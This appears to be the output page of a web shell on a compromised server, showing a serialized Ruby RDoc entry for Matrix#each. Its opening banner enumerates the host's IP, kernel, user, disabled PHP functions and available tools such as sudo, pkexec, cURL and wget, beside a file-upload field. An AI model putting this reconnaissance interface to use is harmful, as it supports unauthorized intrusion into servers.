| Server IP : 162.214.74.102 / Your IP : 216.73.217.46 Web Server : Apache System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64 User : lrsys ( 1015) PHP Version : 5.6.40 Disable Function : exec,passthru,shell_exec,system MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/Matrix/ |
Upload File : |
U:RDoc::AnyMethod[iI" each:EFI"Matrix#each;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"NYields all elements of the matrix, starting with those of the first row, ;TI"1or returns an Enumerator if no block given. ;TI"7Elements can be restricted by passing an argument:;To:RDoc::Markup::List:
@type:BULLET:@items[o:RDoc::Markup::ListItem:@label0; [o;
; [I"(:all (default): yields all elements;To;;0; [o;
; [I"4:diagonal: yields only elements on the diagonal;To;;0; [o;
; [I">:off_diagonal: yields all elements except on the diagonal;To;;0; [o;
; [I"::lower: yields only elements on or below the diagonal;To;;0; [o;
; [I";:strict_lower: yields only elements below the diagonal;To;;0; [o;
; [I";:strict_upper: yields only elements above the diagonal;To;;0; [
o;
; [I"::upper: yields only elements on or above the diagonal;To:RDoc::Markup::BlankLine o;
; [I"/Matrix[ [1,2], [3,4] ].each { |e| puts e };To:RDoc::Markup::Verbatim; [I"$# => prints the numbers 1 to 4
;T:@format0o;
; [I"=Matrix[ [1,2], [3,4] ].each(:strict_lower).to_a # => [3];T:
@fileI"lib/matrix.rb;T:0@omit_headings_from_table_of_contents_below00I"e;F[ I"(which = :all);T@?FI"Matrix;TcRDoc::NormalClass00